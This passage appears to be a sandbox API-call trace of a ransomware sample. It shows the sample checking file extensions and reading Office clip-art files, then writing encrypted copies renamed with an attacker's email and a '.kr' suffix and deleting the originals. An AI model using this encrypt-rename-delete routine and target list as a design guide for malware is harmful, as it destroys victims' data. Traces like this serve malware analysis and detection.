(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0205.447] lstrlenW (lpString=".zip") returned 4 [0205.447] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.447] lstrlenW (lpString=".rar") returned 4 [0205.447] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.447] lstrlenW (lpString=".bz2") returned 4 [0205.447] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.447] lstrlenW (lpString=".7z") returned 3 [0205.447] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0205.447] lstrlenW (lpString=".dbf") returned 4 [0205.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0205.447] lstrlenW (lpString=".1cd") returned 4 [0205.447] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0205.447] lstrlenW (lpString=".jpg") returned 4 [0205.447] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.447] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.447] lstrlenW (lpString="J0105234.WMF") returned 12 [0205.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0205.448] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=3444) returned 1 [0205.449] CloseHandle (hObject=0x54c) returned 1 [0205.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 0x220 [0205.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0205.449] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.449] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0205.450] GetLastError () returned 0x0 [0205.450] ReadFile (in: hFile=0x54c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0xd74, lpOverlapped=0x0) returned 1 [0205.453] WriteFile (in: hFile=0x520, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xd80, lpOverlapped=0x0) returned 1 [0205.454] ReadFile (in: hFile=0x54c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0205.454] WriteFile (in: hFile=0x520, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0205.454] SetEndOfFile (hFile=0x520) returned 1 [0205.454] CloseHandle (hObject=0x520) returned 1 [0205.454] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.454] SetEndOfFile (hFile=0x54c) returned 1 [0205.468] CloseHandle (hObject=0x54c) returned 1 [0205.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.468] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 1 [0205.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0205.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0205.469] lstrlenW (lpString=".doc") returned 4 [0205.469] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.469] lstrlenW (lpString=".docx") returned 5 [0205.469] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0205.469] lstrlenW (lpString=".pdf") returned 4 [0205.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.469] lstrlenW (lpString=".xls") returned 4 [0205.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.469] lstrlenW (lpString=".xlsx") returned 5 [0205.469] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0205.469] lstrlenW (lpString=".ppt") returned 4 [0205.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0205.469] lstrlenW (lpString=".zip") returned 4 [0205.469] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.469] lstrlenW (lpString=".rar") returned 4 [0205.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.470] lstrlenW (lpString=".bz2") returned 4 [0205.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.470] lstrlenW (lpString=".7z") returned 3 [0205.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0205.470] lstrlenW (lpString=".dbf") returned 4 [0205.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0205.470] lstrlenW (lpString=".1cd") returned 4 [0205.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0205.470] lstrlenW (lpString=".jpg") returned 4 [0205.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0205.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0205.470] lstrlenW (lpString=".doc") returned 4 [0205.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.470] lstrlenW (lpString=".docx") returned 5 [0205.470] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0205.470] lstrlenW (lpString=".pdf") returned 4 [0205.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.470] lstrlenW (lpString=".xls") returned 4 [0205.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.470] lstrlenW (lpString=".xlsx") returned 5 [0205.470] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0205.470] lstrlenW (lpString=".ppt") returned 4 [0205.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0205.470] lstrlenW (lpString=".zip") returned 4 [0205.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.470] lstrlenW (lpString=".rar") returned 4 [0205.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.471] lstrlenW (lpString=".bz2") returned 4 [0205.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.471] lstrlenW (lpString=".7z") returned 3 [0205.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0205.471] lstrlenW (lpString=".dbf") returned 4 [0205.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0205.471] lstrlenW (lpString=".1cd") returned 4 [0205.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0205.471] lstrlenW (lpString=".jpg") returned 4 [0205.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.471] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.471] lstrlenW (lpString="J0105238.WMF") returned 12 [0205.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0205.472] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=17172) returned 1 [0205.472] CloseHandle (hObject=0x54c) returned 1 [0205.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 0x220 [0205.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0205.473] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.473] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0205.474] GetLastError () returned 0x0 [0205.474] ReadFile (in: hFile=0x54c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x4314, lpOverlapped=0x0) returned 1 [0205.476] WriteFile (in: hFile=0x520, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x4320, lpOverlapped=0x0) returned 1 [0205.477] ReadFile (in: hFile=0x54c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0205.477] WriteFile (in: hFile=0x520, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0205.477] SetEndOfFile (hFile=0x520) returned 1 [0205.477] CloseHandle (hObject=0x520) returned 1 [0205.477] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.477] SetEndOfFile (hFile=0x54c) returned 1 [0205.480] CloseHandle (hObject=0x54c) returned 1 [0205.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 1 [0205.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0205.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0205.481] lstrlenW (lpString=".doc") returned 4 [0205.482] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.482] lstrlenW (lpString=".docx") returned 5 [0205.482] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0205.482] lstrlenW (lpString=".pdf") returned 4 [0205.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.482] lstrlenW (lpString=".xls") returned 4 [0205.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.482] lstrlenW (lpString=".xlsx") returned 5 [0205.482] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0205.482] lstrlenW (lpString=".ppt") returned 4 [0205.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0205.482] lstrlenW (lpString=".zip") returned 4 [0205.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.482] lstrlenW (lpString=".rar") returned 4 [0205.482] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.482] lstrlenW (lpString=".bz2") returned 4 [0205.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.482] lstrlenW (lpString=".7z") returned 3 [0205.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0205.482] lstrlenW (lpString=".dbf") returned 4 [0205.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0205.482] lstrlenW (lpString=".1cd") returned 4 [0205.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0205.482] lstrlenW (lpString=".jpg") returned 4 [0205.482] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0205.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0205.483] lstrlenW (lpString=".doc") returned 4 [0205.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.483] lstrlenW (lpString=".docx") returned 5 [0205.483] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0205.483] lstrlenW (lpString=".pdf") returned 4 [0205.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.483] lstrlenW (lpString=".xls") returned 4 [0205.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.483] lstrlenW (lpString=".xlsx") returned 5 [0205.483] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0205.483] lstrlenW (lpString=".ppt") returned 4 [0205.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0205.483] lstrlenW (lpString=".zip") returned 4 [0205.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.483] lstrlenW (lpString=".rar") returned 4 [0205.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.483] lstrlenW (lpString=".bz2") returned 4 [0205.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.483] lstrlenW (lpString=".7z") returned 3 [0205.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0205.483] lstrlenW (lpString=".dbf") returned 4 [0205.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0205.483] lstrlenW (lpString=".1cd") returned 4 [0205.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0205.483] lstrlenW (lpString=".jpg") returned 4 [0205.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.484] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.484] lstrlenW (lpString="J0105240.WMF") returned 12 [0205.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0205.484] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=11532) returned 1 [0205.484] CloseHandle (hObject=0x54c) returned 1 [0205.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 0x220 [0205.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0205.485] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.485] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0205.639] GetLastError () returned 0x0 [0205.639] ReadFile (in: hFile=0x54c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x2d0c, lpOverlapped=0x0) returned 1 [0205.640] WriteFile (in: hFile=0x38c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x2d10, lpOverlapped=0x0) returned 1 [0205.880] ReadFile (in: hFile=0x54c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0205.880] WriteFile (in: hFile=0x38c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0205.881] SetEndOfFile (hFile=0x38c) returned 1 [0205.881] CloseHandle (hObject=0x38c) returned 1 [0205.881] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.881] SetEndOfFile (hFile=0x54c) returned 1 [0205.994] CloseHandle (hObject=0x54c) returned 1 [0205.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 1 [0205.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0205.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0205.995] lstrlenW (lpString=".doc") returned 4 [0205.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.995] lstrlenW (lpString=".docx") returned 5 [0205.995] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0205.995] lstrlenW (lpString=".pdf") returned 4 [0205.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.995] lstrlenW (lpString=".xls") returned 4 [0205.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.995] lstrlenW (lpString=".xlsx") returned 5 [0205.995] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0205.995] lstrlenW (lpString=".ppt") returned 4 [0205.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0205.995] lstrlenW (lpString=".zip") returned 4 [0205.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.995] lstrlenW (lpString=".rar") returned 4 [0205.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.995] lstrlenW (lpString=".bz2") returned 4 [0205.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.995] lstrlenW (lpString=".7z") returned 3 [0205.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0205.996] lstrlenW (lpString=".dbf") returned 4 [0205.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0205.996] lstrlenW (lpString=".1cd") returned 4 [0205.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0205.996] lstrlenW (lpString=".jpg") returned 4 [0205.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0205.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0205.996] lstrlenW (lpString=".doc") returned 4 [0205.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.996] lstrlenW (lpString=".docx") returned 5 [0205.996] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0205.996] lstrlenW (lpString=".pdf") returned 4 [0205.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.996] lstrlenW (lpString=".xls") returned 4 [0205.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.996] lstrlenW (lpString=".xlsx") returned 5 [0205.996] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0205.996] lstrlenW (lpString=".ppt") returned 4 [0205.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0205.996] lstrlenW (lpString=".zip") returned 4 [0205.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.996] lstrlenW (lpString=".rar") returned 4 [0205.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.996] lstrlenW (lpString=".bz2") returned 4 [0205.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.996] lstrlenW (lpString=".7z") returned 3 [0205.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.996] 